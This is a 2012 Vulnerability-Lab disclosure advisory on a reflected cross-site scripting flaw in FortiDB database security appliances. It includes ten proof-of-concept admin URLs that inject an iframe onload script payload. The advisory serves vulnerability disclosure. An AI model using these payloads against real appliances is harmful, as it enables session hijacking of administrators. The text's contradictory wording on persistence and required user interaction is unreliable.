Title: ====== FortiGate FortiDB 2kB 1kC & 400B - Cross Site Vulnerability Date: ===== 2012-11-29 References: =========== http://www.vulnerability-lab.com/get_content.php?id=558 VL-ID: ===== 558 Common Vulnerability Scoring System: ==================================== 2.5 Introduction: ============= Targeting large enterprises the FortiDB-2000B appliance provides scalable database security and compliance solution. Utilizing its flexible policy framework, the FortiDB-2000B allows quick and easy implementation of internal IT control frameworks for database activity monitoring (DAM/DAA), IT audit, and regulatory compliance. Designed for mid-sized enterprises, the FortiDB-1000C appliance provides a comprehensive database security and compliance solution. Through its web-based interface, the FortiDB-1000C centrally monitors, audits and scans multiple distributed, heterogeneous databases. This ensures consistent database security policies across the organization without imposing high management burdens on your database admin and IT staff. The FortiDB-400B appliance provides a cost effective database security and compliance solution for small to mid-size enterprises in a quick to implement, easy to manage package. It scans databases for vulnerabilities, monitors, and audits databases activities, and generates compliance reports. Its intuitive web-based interface ensures ease of configuration, minimizing the management burden on your database administrators and IT staff. (Copy of the Vendor Homepage: http://www.fortinet.com/products/fortidb ) Abstract: ========= The Vulnerability Laboratory Research Team discovered a Cross Site Scripting Vulnerability in FortiGates FortiDB 2kB 1kC & 400B. Report-Timeline: ================ 2012-05-06: Researcher Notification & Coordination 2012-05-10: Vendor Notification 2012-06-12: Vendor Response/Feedback 2012-10-24: Vendor Fix/Patch 2012-11-29: Public or Non-Public Disclosure Status: ======== Published Affected Products: ================== Fortigate Product: FortiDB - Database Security Appliance v2000B; 1000C & 400B Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== A non-persistent input validation vulnerability is detected in FortiGates FortiDB Appliance 2000B 1000C & 400B. The vulnerability allows remote attackers to implement/inject malicious script code on the application side (persistent). The vulnerability is located in the Java Number Format Exception Handling module with the bound vulnerable output listing. The bug is on application side & the execution is non-persistent out of the object exception-handling web application appliance context. Exploitation requires low or medium user inter action. Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation. Vulnerable Module(s): [+] Java Number Format Exception Handling Affected Function(s): [+] (Output) Listing Proof of Concept: ================= The vulnerability can be exploited by remote attacker with medium or high required user inter action. For demonstration or reproduce ... Review: Java Number Format Exception-Handling - Listing [Output] Error <pre class="errorExceptionCause">java.lang.NumberFormatException: For input string: ""><[NON PERSISTENT SCRIPT CODE!]")' <"="" at="" java.lang.numberformatexception. forinputstring(numberformatexception.java:48)="" java.lang.long.parselong(long.java:410)="" org.apache.myfaces.orchestra.conversation.conversationmanager.findconversationcontextid(conversationmanager.java:157)="" org.apache.myfaces.orchestra.conversation.conversationmanager.getcurrentrootconversationcontext(conversationmanager.java:564)="" org.apache.myfaces.orchestra.lib.jsf.contextlockrequesthandler.init(contextlockrequesthandler.java:87)="" org.apache.myfaces.orchestra.lib.jsf.orchestrafacescontextfactory$1.<init=""> (OrchestraFacesContextFactory.java:119) at ... PoC: http://utm-waf.127.0.0.1:1339/fortidb/admin/auditTrail.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C http://utm-waf.127.0.0.1:1339/fortidb/mapolicymgmt/targetsMonitorView.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C http://utm-waf.127.0.0.1:1339/fortidb/vascan/globalsummary.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C http://utm-waf.127.0.0.1:1339/fortidb/vaerrorlog/vaErrorLog.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C http://utm-waf.127.0.0.1:1339/fortidb/database/listTargetGroups.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C http://utm-waf.127.0.0.1:1339/fortidb/sysconfig/listSystemInfo.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C http://utm-waf.127.0.0.1:1339/fortidb/vascan/list.jsf?conversationContext=1%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C http://utm-waf.127.0.0.1:1339/fortidb/network/router.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C http://utm-waf.127.0.0.1:1339/fortidb/mapolicymgmt/editPolicyProfile.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C http://utm-waf.127.0.0.1:1339/fortidb/mapolicymgmt/maPolicyMasterList.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C Solution: ========= The vulnerability can be prevented by parsing the java number format exception output listing & mkey application value. 2012-10-24: Vendor Fix/Patch Risk: ===== The security risk of the non-persistent cross site scripting vulnerability is estimated as medium(-). Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (rem0ve@xxxxxxxxxxxxxxxxxxxxx) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register Contact: admin@xxxxxxxxxxxxxxxxxxxxx - support@xxxxxxxxxxxxxxxxxxxxx - research@xxxxxxxxxxxxxxxxxxxxx Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@xxxxxxxxxxxxxxxxxxxxx or support@xxxxxxxxxxxxxxxxxxxxx) to get a permission. Copyright © 2012 | Vulnerability Laboratory -- VULNERABILITY RESEARCH LABORATORY LABORATORY RESEARCH TEAM CONTACT: research@xxxxxxxxxxxxxxxxxxxxx